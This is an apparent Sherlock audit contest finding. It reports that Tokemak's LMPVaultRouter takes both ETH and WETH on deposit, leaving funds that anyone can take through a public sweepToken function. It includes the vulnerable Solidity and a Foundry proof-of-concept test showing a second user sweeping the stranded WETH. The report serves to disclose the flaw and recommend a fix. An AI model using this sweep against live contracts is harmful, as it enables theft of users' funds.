0xJuda - Router double accounting problem and exposed funds in smart contract

[sherlock-admin]

0xJuda

high

Router double accounting problem and exposed funds in smart contract

Summary

LMPVaultRouter serves as a gateway for users to interact with LMPVault. When the user approves WETH and sends ETH with the deposit function call, the router still transfers WETH from the user even though it already got ETH with the call. Another user can watch for this and collect ETH from the router using an exposed function.

Vulnerability Detail

Users should use LMPVaultRouter to interact with LMPVault. There are two basic functions in LMPVaultRouterBase - deposit and mint. Users can use them to deposit tokens to LMPVault. Both functions share this problem. Let's take a look at deposit function. It is payable so the user can send ETH with it.

/// @inheritdoc ILMPVaultRouterBase
function deposit(
    ILMPVault vault,
    address to,
    uint256 amount,
    uint256 minSharesOut
) public payable virtual override returns (uint256 sharesOut) {
    // handle possible eth
    _processEthIn(vault);

    IERC20 vaultAsset = IERC20(vault.asset());
    pullToken(vaultAsset, amount, address(this));

    return _deposit(vault, to, amount, minSharesOut);
}

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L43C1-L57C6

Both deposit and mint contain _processEthIn(vault) function calls. This function converts incoming ETH to WETH if possible.

function _processEthIn(ILMPVault vault) internal {
    // if any eth sent, wrap it first
    if (msg.value > 0) {
        // if asset is not weth, revert
        if (address(vault.asset()) != address(weth9)) {
            revert InvalidAsset();
        }

        // wrap eth
        weth9.deposit{ value: msg.value }();
    }
}

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L111C1-L122C6

After ETH is processed, the router pulls the token which in this case would be WETH. This pulled WETH would be transfered to the LMPVault but the incoming wrapped ETH would stay in the router.

Here comes the second problem. LMPVaultRouterBase inherits from PeripheryPayments. This smart contract has public functions to pull tokens out of the smart contract and anyone can call them. If the hacker is faster than the user or the user doesn't know about this, the hacker can call the function to sweep the user's WETH from the router.

function sweepToken(IERC20 token, uint256 amountMinimum, address recipient) public payable {
    uint256 balanceToken = token.balanceOf(address(this));
    if (balanceToken < amountMinimum) revert InsufficientToken();

    if (balanceToken > 0) {
        token.safeTransfer(recipient, balanceToken);
    }
}

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/utils/PeripheryPayments.sol#L58C1-L65C6

POC

Add this test function to LMPVaultRouter.t.sol. Run it with the command forge test --match-contract LMPVaultRouterTest --match-test test_DoubleAccountingSweep.

function test_DoubleAccountingSweep() public {
    // create cyril and donald
    address cyril = makeAddr("cyril");
    address donald = makeAddr("donald");

    // deal ether
    deal(cyril, 100 ether);
    deal(donald, 100 ether);

    // cyril approves and deposits ether
    uint amount = 10 ether;
    vm.startPrank(cyril);
    weth.approve(address(lmpVaultRouter), amount);
    weth.deposit{value: amount}();
    lmpVaultRouter.deposit{value: amount}(lmpVault, cyril, amount, 0);
    vm.stopPrank();

    assert(weth.balanceOf(address(lmpVaultRouter)) == 10 ether); // cyril's WETH is left in router

    // donald sees free weth and sweeps it
    vm.prank(donald);
    lmpVaultRouter.sweepToken(weth, weth.balanceOf(address(lmpVaultRouter)), donald);

    assert(cyril.balance == 80 ether); // Cyril sent 10 ether to router and changed 10 ether to WETH
    assert(weth.balanceOf(cyril) == 0); // Router pulled cyrils 10 WETH
    assert(weth.balanceOf(address(lmpVaultRouter)) == 0); // No weth left in router
    assert(weth.balanceOf(donald) == 10 ether); // Donald stole WETH from router
}

Impact

The user loses WETH because of router double accounting and it can be stolen from the router by anyone.

Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L43C1-L57C6

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L111C1-L122C6

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/utils/PeripheryPayments.sol#L58C1-L65C6

Tool used

Manual Review

Recommendation

Change the logic so it wouldn't pull WETH from the user if enough ETH is included in the message call.

Duplicate of #1